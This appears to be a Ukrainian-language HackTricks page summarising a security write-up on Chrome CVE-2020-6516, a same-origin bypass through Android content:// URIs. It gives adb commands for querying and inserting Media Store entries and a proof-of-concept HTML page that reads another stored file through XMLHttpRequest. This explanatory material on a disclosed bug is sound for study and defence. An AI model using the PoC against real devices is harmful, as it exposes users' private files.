mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
110 lines
7.7 KiB
Markdown
110 lines
7.7 KiB
Markdown
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://websec.nl/" %}
|
||
|
||
**Це резюме посту [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||
|
||
### Перелік файлів у Media Store
|
||
Щоб перерахувати файли, які керуються Media Store, можна використовувати команду нижче:
|
||
```bash
|
||
$ content query --uri content://media/external/file
|
||
```
|
||
Для більш зручного для людини виводу, що відображає лише ідентифікатор та шлях до кожного проіндексованого файлу:
|
||
```bash
|
||
$ content query --uri content://media/external/file --projection _id,_data
|
||
```
|
||
Контент-провайдери ізольовані у власному приватному просторі імен. Доступ до провайдера вимагає специфічного `content://` URI. Інформацію про шляхи доступу до провайдера можна отримати з маніфестів додатків або вихідного коду фреймворку Android.
|
||
|
||
### Доступ Chrome до контент-провайдерів
|
||
Chrome на Android може отримувати доступ до контент-провайдерів через схему `content://`, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Щоб проілюструвати це, файл можна вставити в Media Store, а потім отримати до нього доступ через Chrome:
|
||
|
||
Вставте власний запис у Media Store:
|
||
```bash
|
||
cd /sdcard
|
||
echo "Hello, world!" > test.txt
|
||
content insert --uri content://media/external/file \
|
||
--bind _data:s:/storage/emulated/0/test.txt \
|
||
--bind mime_type:s:text/plain
|
||
```
|
||
Визначте ідентифікатор нововставленого файлу:
|
||
```bash
|
||
content query --uri content://media/external/file \
|
||
--projection _id,_data | grep test.txt
|
||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||
```
|
||
Файл можна переглянути в Chrome, використовуючи URL, побудований з ідентифікатора файлу.
|
||
|
||
Наприклад, щоб перерахувати файли, пов'язані з конкретним додатком:
|
||
```bash
|
||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||
```
|
||
### Chrome CVE-2020-6516: Обхід політики однакового походження
|
||
|
||
Політика _однакового походження_ (SOP) є протоколом безпеки в браузерах, який обмежує веб-сторінки у взаємодії з ресурсами з різних походжень, якщо це не дозволено явно політикою Cross-Origin-Resource-Sharing (CORS). Ця політика має на меті запобігти витоку інформації та підробці міжсайтових запитів. Chrome вважає `content://` локальною схемою, що передбачає більш суворі правила SOP, де кожен URL локальної схеми розглядається як окреме походження.
|
||
|
||
Однак CVE-2020-6516 була вразливістю в Chrome, яка дозволяла обійти правила SOP для ресурсів, завантажених через URL `content://`. Фактично, JavaScript-код з URL `content://` міг отримувати доступ до інших ресурсів, завантажених через URL `content://`, що становило значну загрозу безпеці, особливо на пристроях Android, що працюють на версіях раніше Android 10, де не було реалізовано обмежене зберігання.
|
||
|
||
Нижче наведено доказ концепції, який демонструє цю вразливість, де HTML-документ, після завантаження під **/sdcard** та додавання до Media Store, використовує `XMLHttpRequest` у своєму JavaScript для доступу та відображення вмісту іншого файлу в Media Store, обходячи правила SOP.
|
||
|
||
Proof-of-Concept HTML:
|
||
```xml
|
||
<html>
|
||
<head>
|
||
<title>PoC</title>
|
||
<script type="text/javascript">
|
||
function poc()
|
||
{
|
||
var xhr = new XMLHttpRequest();
|
||
|
||
xhr.onreadystatechange = function()
|
||
{
|
||
if(this.readyState == 4)
|
||
{
|
||
if(this.status == 200 || this.status == 0)
|
||
{
|
||
alert(xhr.response);
|
||
}
|
||
}
|
||
}
|
||
|
||
xhr.open("GET", "content://media/external/file/747");
|
||
xhr.send();
|
||
}
|
||
</script>
|
||
</head>
|
||
<body onload="poc()"></body>
|
||
</html>
|
||
```
|
||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://websec.nl/" %}
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|